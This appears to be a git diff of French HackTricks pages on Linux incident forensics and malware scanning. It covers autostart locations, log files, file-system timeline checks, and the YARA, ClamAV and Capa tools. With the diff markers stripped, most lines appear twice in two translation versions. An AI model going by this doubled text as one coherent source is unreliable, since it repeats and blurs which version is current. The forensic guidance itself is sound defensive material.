Il est extrêmement courant que les logiciels malveillants s'implantent en tant que nouveau service non autorisé. Linux dispose de plusieurs scripts utilisés pour démarrer des services lorsque l'ordinateur démarre. Le script d'initialisation de démarrage _**/etc/inittab**_ appelle d'autres scripts tels que rc.sysinit et divers scripts de démarrage dans le répertoire _**/etc/rc.d/**_, ou _**/etc/rc.boot/**_ dans certaines versions plus anciennes. Sur d'autres versions de Linux, comme Debian, les scripts de démarrage sont stockés dans le répertoire _**/etc/init.d/**_. De plus, certains services courants sont activés dans _**/etc/inetd.conf**_ ou _**/etc/xinetd/**_ en fonction de la version de Linux. Les enquêteurs numériques devraient inspecter chacun de ces scripts de démarrage pour des entrées anormales.
* _**/etc/inittab**_
* _**/etc/rc.d/**_
@ -253,50 +248,50 @@ Il est extrêmement courant que les malwares s'incrustent en tant que nouveau se
* _**/etc/systemd/system**_
* _**/etc/systemd/system/multi-user.target.wants/**_
### Modules du Noyau
### Modules du noyau
Sur les systèmes Linux, les modules du noyau sont couramment utilisés comme composants de rootkit pour les paquets de malwares. Les modules du noyau sont chargés lors du démarrage du système en fonction des informations de configuration dans les répertoires `/lib/modules/'uname -r'` et `/etc/modprobe.d`, et le fichier `/etc/modprobe` ou `/etc/modprobe.conf`. Ces zones doivent être inspectées pour détecter des éléments liés aux malwares.
Sur les systèmes Linux, les modules du noyau sont couramment utilisés comme composants de rootkit pour les packages de logiciels malveillants. Les modules du noyau sont chargés lorsque le système démarre en fonction des informations de configuration dans les répertoires `/lib/modules/'uname -r'` et `/etc/modprobe.d`, et du fichier `/etc/modprobe` ou `/etc/modprobe.conf`. Ces zones doivent être inspectées pour les éléments liés aux logiciels malveillants.
### Autres Emplacements de Démarrage Automatique
### Autres emplacements de démarrage automatique
Il existe plusieurs fichiers de configuration que Linux utilise pour lancer automatiquement un exécutable lorsqu'un utilisateur se connecte au système et qui peuvent contenir des traces de malware.
Il existe plusieurs fichiers de configuration que Linux utilise pour lancer automatiquement un exécutable lorsqu'un utilisateur se connecte au système, pouvant contenir des traces de logiciels malveillants.
* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ sont exécutés lors de la connexion de n'importe quel compte utilisateur.
* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ sont exécutés lors de la connexion de l'utilisateur spécifique.
* _**/etc/rc.local**_ Il est traditionnellement exécuté après le démarrage de tous les services système normaux, à la fin du processus de passage à un niveau d'exécution multi-utilisateur.
* _**/etc/profile.d/\***_, _**/etc/profile**_, _**/etc/bash.bashrc**_ sont exécutés lorsque n'importe quel compte utilisateur se connecte.
* _**∼/.bashrc**_, _**∼/.bash\_profile**_, _**\~/.profile**_, _**∼/.config/autostart**_ sont exécutés lorsque l'utilisateur spécifique se connecte.
* _**/etc/rc.local**_ est traditionnellement exécuté après le démarrage de tous les services système normaux, à la fin du processus de passage à un niveau d'exécution multi-utilisateurs.
## Examiner les Journaux
## Examiner les journaux
Recherchez dans tous les fichiers journaux disponibles sur le système compromis des traces d'exécution malveillante et d'activités associées telles que la création d'un nouveau service.
### Journaux Purs
### Journaux purs
Les événements de **connexion** enregistrés dans les journaux système et de sécurité, y compris les connexions via le réseau, peuvent révéler que le **malware** ou un **intrus a accédé** à un système compromis via un compte donné à un moment précis. D'autres événements autour du moment d'une infection par un malware peuvent être capturés dans les journaux système, y compris la **création** d'un **nouveau** **service** ou de nouveaux comptes autour du moment d'un incident.\
Les événements de **connexion** enregistrés dans les journaux système et de sécurité, y compris les connexions via le réseau, peuvent révéler qu'un **logiciel malveillant** ou un **intrus a accédé** à un système compromis via un compte donné à un moment spécifique. D'autres événements autour du moment d'une infection par un logiciel malveillant peuvent être capturés dans les journaux système, y compris la **création** d'un **nouveau** **service** ou de nouveaux comptes autour du moment d'un incident.\
Connexions système intéressantes :
* **/var/log/syslog** (debian) ou **/var/log/messages** (Redhat)
* Affiche des messages généraux et des informations concernant le système. C'est un journal de données de toute l'activité à travers le système global.
* Affiche des messages généraux et des informations concernant le système. C'est un journal de données de toute l'activité dans le système global.
* **/var/log/auth.log** (debian) ou **/var/log/secure** (Redhat)
* Conserve les journaux d'authentification pour les connexions réussies ou échouées, et les processus d'authentification. Le stockage dépend du type de système.
* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"`
* **/var/log/boot.log** : messages de démarrage et informations de boot.
* **/var/log/maillog** ou **var/log/mail.log:** pour les journaux du serveur de messagerie, utile pour postfix, smtpd ou les informations de services liés aux e-mails fonctionnant sur votre serveur.
* **/var/log/kern.log**: conserve les journaux et les informations d'avertissement du noyau. Les journaux d'activité du noyau (par exemple, dmesg, kern.log, klog) peuvent montrer qu'un service particulier s'est écrasé à plusieurs reprises, indiquant potentiellement qu'une version trojanisée instable a été installée.
* **/var/log/dmesg**: un dépôt pour les messages des pilotes de périphériques. Utilisez **dmesg** pour voir les messages dans ce fichier.
* **/var/log/faillog:** enregistre les informations sur les échecs de connexion. Donc, pratique pour examiner les violations de sécurité potentielles comme les piratages de données d'identification de connexion et les attaques par force brute.
* **/var/log/cron**: conserve un enregistrement des messages liés à Crond (tâches cron). Comme lorsque le démon cron a démarré une tâche.
* **/var/log/daemon.log:** suit les services d'arrière-plan en cours d'exécution mais ne les représente pas graphiquement.
* **/var/log/btmp**: prend note de toutes les tentatives de connexion échouées.
* **/var/log/httpd/**: un répertoire contenant les fichiers error\_log et access\_log du démon Apache httpd. Chaque erreur rencontrée par httpd est conservée dans le fichier **error\_log**. Pensez aux problèmes de mémoire et autres erreurs liées au système. **access\_log** enregistre toutes les demandes qui arrivent via HTTP.
* **/var/log/mysqld.log** ou **/var/log/mysql.log**: fichier journal MySQL qui enregistre chaque message de débogage, d'échec et de succès, y compris le démarrage, l'arrêt et le redémarrage du démon MySQL mysqld. Le système décide du répertoire. RedHat, CentOS, Fedora et autres systèmes basés sur RedHat utilisent /var/log/mariadb/mariadb.log. Cependant, Debian/Ubuntu utilisent le répertoire /var/log/mysql/error.log.
* **/var/log/boot.log** : messages de démarrage et informations de démarrage.
* **/var/log/maillog** ou **var/log/mail.log** : est destiné aux journaux du serveur de messagerie, utile pour les informations sur postfix, smtpd, ou les services liés aux e-mails s'exécutant sur votre serveur.
* **/var/log/kern.log** : conserve les journaux du noyau et les informations d'avertissement. Les journaux d'activité du noyau (par ex., dmesg, kern.log, klog) peuvent montrer qu'un service particulier a planté à plusieurs reprises, indiquant potentiellement qu'une version trojanisée instable a été installée.
* **/var/log/dmesg** : un répertoire pour les messages des pilotes de périphériques. Utilisez **dmesg** pour voir les messages dans ce fichier.
* **/var/log/faillog** : enregistre des informations sur les échecs de connexion. Utile pour examiner les violations potentielles de sécurité telles que les piratages de mots de passe de connexion et les attaques par force brute.
* **/var/log/cron** : conserve un enregistrement des messages liés à Crond (tâches cron). Par exemple, lorsque le démon cron a lancé une tâche.
* **/var/log/daemon.log** : suit les services d'arrière-plan en cours d'exécution mais ne les représente pas graphiquement.
* **/var/log/btmp** : note toutes les tentatives de connexion échouées.
* **/var/log/httpd/** : un répertoire contenant les fichiers error\_log et access\_log du démon Apache httpd. Toute erreur rencontrée par httpd est conservée dans le fichier **error\_log**. Pensez aux problèmes de mémoire et autres erreurs liées au système. **access\_log** enregistre toutes les demandes reçues via HTTP.
* **/var/log/mysqld.log** ou **/var/log/mysql.log** : fichier journal MySQL qui enregistre chaque message de débogage, d'échec et de succès, y compris le démarrage, l'arrêt et le redémarrage du démon MySQL mysqld. Le système décide du répertoire. Les systèmes RedHat, CentOS, Fedora et autres systèmes basés sur RedHat utilisent /var/log/mariadb/mariadb.log. Cependant, Debian/Ubuntu utilisent le répertoire /var/log/mysql/error.log.
* **/var/log/xferlog** : conserve les sessions de transfert de fichiers FTP. Comprend des informations telles que les noms de fichiers et les transferts FTP initiés par l'utilisateur.
* **/var/log/\*** : Vous devriez toujours vérifier la présence de journaux inattendus dans ce répertoire
* **/var/log/\*** : Vous devriez toujours vérifier les journaux inattendus dans ce répertoire
{% hint style="info" %}
Les journaux système Linux et les sous-systèmes d'audit peuvent être désactivés ou supprimés lors d'une intrusion ou d'un incident de malware. Étant donné que les journaux sur les systèmes Linux contiennent généralement certaines des informations les plus utiles sur les activités malveillantes, les intrus les suppriment régulièrement. Par conséquent, lors de l'examen des fichiers journaux disponibles, il est important de rechercher des lacunes ou des entrées désordonnées qui pourraient indiquer une suppression ou une manipulation.
Les journaux système Linux et les sous-systèmes d'audit peuvent être désactivés ou supprimés lors d'une intrusion ou d'un incident de logiciel malveillant. Étant donné que les journaux sur les systèmes Linux contiennent généralement certaines des informations les plus utiles sur les activités malveillantes, les intrus les suppriment régulièrement. Par conséquent, lors de l'examen des fichiers journaux disponibles, il est important de rechercher des lacunes ou des entrées désordonnées qui pourraient indiquer une suppression ou une manipulation.
{% endhint %}
### Historique des Commandes
### Historique des commandes
De nombreux systèmes Linux sont configurés pour conserver un historique des commandes pour chaque compte utilisateur :
@ -308,27 +303,27 @@ De nombreux systèmes Linux sont configurés pour conserver un historique des co
### Connexions
En utilisant la commande `last -Faiwx`, il est possible d'obtenir la liste des utilisateurs qui se sont connectés.\
Il est recommandé de vérifier si ces connexions sont logiques :
Il est recommandé de vérifier si ces connexions ont du sens :
* Un utilisateur inconnu ?
* Un utilisateur qui ne devrait pas avoir de shell connecté ?
* Un utilisateur qui ne devrait pas avoir un shell connecté ?
Ceci est important car les **attaquants** copient parfois `/bin/bash` dans `/bin/false` pour que des utilisateurs comme **lightdm** puissent **se connecter**.
Ceci est important car les **attaquants** peuvent parfois copier `/bin/bash` à l'intérieur de `/bin/false` afin que des utilisateurs comme **lightdm** puissent se **connecter**.
Notez que vous pouvez également **examiner ces informations en lisant les journaux**.
Notez que vous pouvez également **consulter ces informations en lisant les journaux**.
### Traces d'Applications
### Traces d'application
* **SSH** : Les connexions aux systèmes effectuées en utilisant SSH vers et depuis un système compromis entraînent des entrées dans les fichiers pour chaque compte utilisateur (_**∼/.ssh/authorized\_keys**_ et _**∼/.ssh/known\_keys**_). Ces entrées peuvent révéler le nom d'hôte ou l'adresse IP des hôtes distants.
* **Bureau Gnome** : Les comptes utilisateurs peuvent avoir un fichier _**∼/.recently-used.xbel**_ qui contient des informations sur les fichiers qui ont été récemment accédés à l'aide d'applications fonctionnant sur le bureau Gnome.
* **VIM** : Les comptes utilisateurs peuvent avoir un fichier _**∼/.viminfo**_ qui contient des détails sur l'utilisation de VIM, y compris l'historique des chaînes de recherche et les chemins vers les fichiers qui ont été ouverts en utilisant vim.
* **SSH** : Les connexions aux systèmes effectuées en utilisant SSH vers et depuis un système compromis entraînent l'enregistrement d'entrées dans des fichiers pour chaque compte utilisateur (_**∼/.ssh/authorized\_keys**_ et _**∼/.ssh/known\_keys**_). Ces entrées peuvent révéler le nom d'hôte ou l'adresse IP des hôtes distants.
* **Bureau Gnome** : Les comptes utilisateur peuvent avoir un fichier _**∼/.recently-used.xbel**_ contenant des informations sur les fichiers récemment consultés à l'aide d'applications s'exécutant sur le bureau Gnome.
* **VIM** : Les comptes utilisateur peuvent avoir un fichier _**∼/.viminfo**_ contenant des détails sur l'utilisation de VIM, y compris l'historique des chaînes de recherche et les chemins des fichiers ouverts avec vim.
* **Open Office** : Fichiers récents.
* **MySQL** : Les comptes utilisateurs peuvent avoir un fichier _**∼/.mysql\_history**_ qui contient les requêtes exécutées en utilisant MySQL.
* **Less** : Les comptes utilisateurs peuvent avoir un fichier _**∼/.lesshst**_ qui contient des détails sur l'utilisation de less, y compris l'historique des chaînes de recherche et les commandes shell exécutées via less.
* **MySQL** : Les comptes utilisateur peuvent avoir un fichier _**∼/.mysql\_history**_ contenant des requêtes exécutées avec MySQL.
* **Less** : Les comptes utilisateur peuvent avoir un fichier _**∼/.lesshst**_ contenant des détails sur l'utilisation de less, y compris l'historique des chaînes de recherche et les commandes shell exécutées via less.
### Journaux USB
[**usbrip**](https://github.com/snovvcrash/usbrip) est un petit logiciel écrit en Python 3 pur qui analyse les fichiers journaux Linux (`/var/log/syslog*` ou `/var/log/messages*` selon la distribution) pour construire des tables d'historique d'événements USB.
[**usbrip**](https://github.com/snovvcrash/usbrip) est un petit logiciel écrit en Python 3 pur qui analyse les fichiers journaux Linux (`/var/log/syslog*` ou `/var/log/messages*` selon la distribution) pour construire des tables d'historique des événements USB.
Il est intéressant de **connaître tous les USB qui ont été utilisés** et cela sera plus utile si vous avez une liste autorisée d'USB pour trouver des "événements de violation" (l'utilisation d'USB qui ne sont pas dans cette liste).
@ -345,43 +340,43 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Plus d'exemples et d'informations à l'intérieur du github : [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
Plus d'exemples et d'informations sur le github : [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
Obtenez l'accès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Examiner les comptes utilisateurs et les activités de connexion
## Examiner les comptes d'utilisateurs et les activités de connexion
Examinez les fichiers _**/etc/passwd**_, _**/etc/shadow**_ et les **journaux de sécurité** pour détecter des noms inhabituels ou des comptes créés et/ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques par force brute avec sudo.\
De plus, vérifiez des fichiers comme _**/etc/sudoers**_ et _**/etc/groups**_ pour des privilèges inattendus accordés aux utilisateurs.\
Examinez les fichiers _**/etc/passwd**_, _**/etc/shadow**_ et les **logs de sécurité** à la recherche de noms ou de comptes inhabituels créés et/ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques de force brute sudo.\
De plus, vérifiez les fichiers tels que _**/etc/sudoers**_ et _**/etc/groups**_ pour des privilèges inattendus accordés aux utilisateurs.\
Enfin, recherchez des comptes sans **mot de passe** ou avec des mots de passe **facilement devinables**.
## Examiner le système de fichiers
Les structures de données du système de fichiers peuvent fournir des quantités substantielles d'**informations** liées à un incident de **malware**, y compris le **moment** des événements et le **contenu** réel du **malware**.\
Les **malwares** sont de plus en plus conçus pour **contrecarrer l'analyse du système de fichiers**. Certains malwares modifient les horodatages des fichiers malveillants pour rendre leur découverte plus difficile avec l'analyse de la chronologie. D'autres codes malveillants sont conçus pour stocker certaines informations uniquement en mémoire afin de minimiser la quantité de données stockées dans le système de fichiers.\
Pour faire face à de telles techniques anti-forensiques, il est nécessaire de prêter une **attention particulière à l'analyse de la chronologie** des horodatages du système de fichiers et aux fichiers stockés dans des emplacements communs où le malware pourrait être trouvé.
Les structures de données du système de fichiers peuvent fournir des quantités substantielles d'**informations** liées à un incident de **logiciel malveillant**, y compris la **chronologie** des événements et le **contenu** réel du **logiciel malveillant**.\
Les **logiciels malveillants** sont de plus en plus conçus pour **contourner l'analyse du système de fichiers**. Certains logiciels malveillants modifient les horodatages des fichiers malveillants pour les rendre plus difficiles à trouver avec une analyse chronologique. D'autres codes malveillants sont conçus pour stocker uniquement certaines informations en mémoire afin de minimiser la quantité de données stockées dans le système de fichiers.\
Pour faire face à de telles techniques anti-forensiques, il est nécessaire de porter une **attention particulière à l'analyse chronologique** des horodatages du système de fichiers et aux fichiers stockés dans des emplacements courants où des logiciels malveillants pourraient être trouvés.
* En utilisant **autopsy**, vous pouvez voir la chronologie des événements qui peuvent être utiles pour découvrir une activité suspecte. Vous pouvez également utiliser la fonctionnalité `mactime` de **Sleuth Kit** directement.
* Vérifiez la présence de **scripts inattendus** dans **$PATH** (peut-être des scripts sh ou php ?)
* Les fichiers dans `/dev` étaient des fichiers spéciaux, vous pourriez trouver ici des fichiers non spéciaux liés au malware.
* Recherchez des fichiers et des **répertoires cachés** ou inhabituels, tels que “.. ” (point point espace) ou “..^G ” (point point contrôle-G)
* Des copies de /bin/bash avec setuid sur le système `find / -user root -perm -04000 –print`
* En utilisant **autopsy**, vous pouvez voir la chronologie des événements qui peut être utile pour découvrir une activité suspecte. Vous pouvez également utiliser la fonction `mactime` de **Sleuth Kit** directement.
* Recherchez des **scripts inattendus** à l'intérieur de **$PATH** (peut-être des scripts sh ou php ?)
* Les fichiers dans `/dev` étaient des fichiers spéciaux, vous pouvez trouver des fichiers non spéciaux ici liés aux logiciels malveillants.
* Recherchez des fichiers et des répertoires inhabituels ou **cachés**, tels que ".. " (point point espace) ou "..^G " (point point contrôle-G)
* Copies setuid de /bin/bash sur le système `find / -user root -perm -04000 –print`
* Examinez les horodatages des **inodes supprimés pour un grand nombre de fichiers supprimés en même temps**, ce qui pourrait indiquer une activité malveillante telle que l'installation d'un rootkit ou d'un service trojanisé.
* Étant donné que les inodes sont alloués sur une base du premier disponible, les **fichiers malveillants placés sur le système en même temps peuvent se voir attribuer des inodes consécutifs**. Par conséquent, après avoir localisé un composant du malware, il peut être productif d'inspecter les inodes voisins.
* Vérifiez également des répertoires comme _/bin_ ou _/sbin_ car l'**heure de modification ou de changement** de nouveaux fichiers ou de fichiers modifiés peut être intéressante.
* Il est intéressant de voir les fichiers et dossiers d'un répertoire **triés par date de création** plutôt que par ordre alphabétique pour voir quels fichiers ou dossiers sont les plus récents (généralement les derniers).
* Comme les inodes sont alloués sur une base du prochain disponible, **les fichiers malveillants placés sur le système à peu près au même moment peuvent se voir attribuer des inodes consécutifs**. Par conséquent, après avoir localisé un composant de logiciel malveillant, il peut être productif d'inspecter les inodes voisins.
* Vérifiez également les répertoires comme _/bin_ ou _/sbin_ car la **date de modification et/ou de changement** des nouveaux fichiers ou des fichiers modifiés peut être intéressante.
* Il est intéressant de voir les fichiers et les dossiers d'un répertoire **triés par date de création** au lieu de manière alphabétique pour voir quels fichiers ou dossiers sont plus récents (les derniers en général).
Vous pouvez vérifier les fichiers les plus récents d'un dossier en utilisant `ls -laR --sort=time /bin`\
Vous pouvez vérifier les inodes des fichiers à l'intérieur d'un dossier en utilisant `ls -lai /bin |sort -n`
{% hint style="info" %}
Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire **apparaître les fichiers comme légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous trouvez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers du même dossier, mais que l'**inode** est **anormalement grand**, alors les **horodatages de ce fichier ont été modifiés**.
Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire apparaître des **fichiers comme légitimes**, mais il ne peut pas modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers du même dossier, mais que l'**inode** est **anormalement plus grand**, alors les **horodatages de ce fichier ont été modifiés**.
{% endhint %}
## Comparer les fichiers de différentes versions du système de fichiers
@ -402,11 +397,11 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2
**`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`**
Sélectionnez uniquement les fichiers qui sont Ajoutés (`A`), Copiés (`C`), Supprimés (`D`), Modifiés (`M`), Renommés (`R`), et dont le type (c.-à-d. fichier régulier, lien symbolique, sous-module, …​) a changé (`T`), sont Non fusionnés (`U`), sont Inconnus (`X`), ou ont eu leur appariement Brisé (`B`). Toute combinaison des caractères de filtre (y compris aucune) peut être utilisée. Lorsque `*` (Tout-ou-rien) est ajouté à la combinaison, tous les chemins sont sélectionnés s'il y a un fichier qui correspond à d'autres critères dans la comparaison ; s'il n'y a pas de fichier qui correspond à d'autres critères, rien n'est sélectionné.
Sélectionnez uniquement les fichiers qui ont été ajoutés (`A`), copiés (`C`), supprimés (`D`), modifiés (`M`), renommés (`R`), dont le type (c'est-à-dire fichier régulier, lien symbolique, sous-module, …​) a été modifié (`T`), sont non fusionnés (`U`), sont inconnus (`X`), ou dont la paire a été rompue (`B`). Toute combinaison des caractères de filtre (y compris aucun) peut être utilisée. Lorsque `*` (Tout ou rien) est ajouté à la combinaison, tous les chemins sont sélectionnés s'il y a un fichier qui correspond à d'autres critères dans la comparaison ; s'il n'y a aucun fichier qui correspond à d'autres critères, rien n'est sélectionné.
De plus, **ces lettres majuscules peuvent être minuscules pour exclure**. Par exemple, `--diff-filter=ad` exclut les chemins ajoutés et supprimés.
De plus, **ces lettres majuscules peuvent être en minuscules pour exclure**. Par exemple, `--diff-filter=ad` exclut les chemins ajoutés et supprimés.
Notez que tous les diffs ne peuvent pas présenter tous les types. Par exemple, les diffs de l'index à l'arbre de travail ne peuvent jamais avoir d'entrées Ajoutées (car l'ensemble des chemins inclus dans le diff est limité par ce qui est dans l'index). De même, les entrées copiées et renommées ne peuvent apparaître si la détection pour ces types est désactivée.
Notez que tous les diffs ne peuvent pas comporter tous les types. Par exemple, les diffs de l'index vers l'arborescence de travail ne peuvent jamais comporter d'entrées ajoutées (car l'ensemble des chemins inclus dans le diff est limité par ce qui se trouve dans l'index). De même, les entrées copiées et renommées ne peuvent pas apparaître si la détection de ces types est désactivée.
## Références
@ -419,18 +414,18 @@ Notez que tous les diffs ne peuvent pas présenter tous les types. Par exemple,
Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Partagez vos astuces de hacking en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires les **plus avancés**.\
Accédez-y dès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

88
forensics/basic-forensic-methodology/malware-analysis.md
View file

@ -1,24 +1,24 @@
# Analyse de Malware
# Analyse des logiciels malveillants
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## CheatSheets de Forensics
## Feuilles de triche en informatique légale
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
## Services en Ligne
## Services en ligne
* [VirusTotal](https://www.virustotal.com/gui/home/upload)
* [HybridAnalysis](https://www.hybrid-analysis.com)
@ -26,29 +26,29 @@ Autres moyens de soutenir HackTricks :
* [Intezer](https://analyze.intezer.com)
* [Any.Run](https://any.run/)
## Antivirus et Outils de Détection Hors Ligne
## Outils antivirus et de détection hors ligne
### Yara
#### Installation
#### Installer
```bash
sudo apt-get install -y yara
```
#### Préparer les règles
Utilisez ce script pour télécharger et fusionner toutes les règles yara de malware depuis github : [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
Créez le répertoire _**rules**_ et exécutez-le. Cela créera un fichier appelé _**malware\_rules.yar**_ qui contient toutes les règles yara pour les malwares.
Utilisez ce script pour télécharger et fusionner toutes les règles de logiciels malveillants yara depuis github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
Créez le répertoire _**rules**_ et exécutez-le. Cela créera un fichier appelé _**malware\_rules.yar**_ qui contient toutes les règles yara pour les logiciels malveillants.
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
#### Analyse Antivirus
#### Analyse
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
#### YaraGen : Vérifier la présence de malware et Créer des règles
#### YaraGen: Vérifier les logiciels malveillants et Créer des règles
Vous pouvez utiliser l'outil [**YaraGen**](https://github.com/Neo23x0/yarGen) pour générer des règles yara à partir d'un binaire. Consultez ces tutoriels : [**Partie 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Partie 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Partie 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
@ -61,7 +61,7 @@ python3.exe yarGen.py --excludegood -m ../../mals/
```
sudo apt-get install -y clamav
```
#### Analyse Antivirus
#### Analyse
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
@ -69,21 +69,21 @@ clamscan folderpath #Scan the whole folder
```
### [Capa](https://github.com/mandiant/capa)
**Capa** détecte les **capacités** potentiellement malveillantes dans les exécutables : PE, ELF, .NET. Il trouve donc des éléments tels que les tactiques Att\&ck, ou des capacités suspectes telles que :
**Capa** détecte les **capacités potentiellement malveillantes** dans les exécutables : PE, ELF, .NET. Ainsi, il trouvera des choses telles que les tactiques Att\&ck, ou des capacités suspectes telles que :
* vérifier l'erreur OutputDebugString
* s'exécuter en tant que service
* créer un processus
- vérification des erreurs OutputDebugString
- exécution en tant que service
- création de processus
Obtenez-le dans le [**dépôt Github**](https://github.com/mandiant/capa).
### IOCs
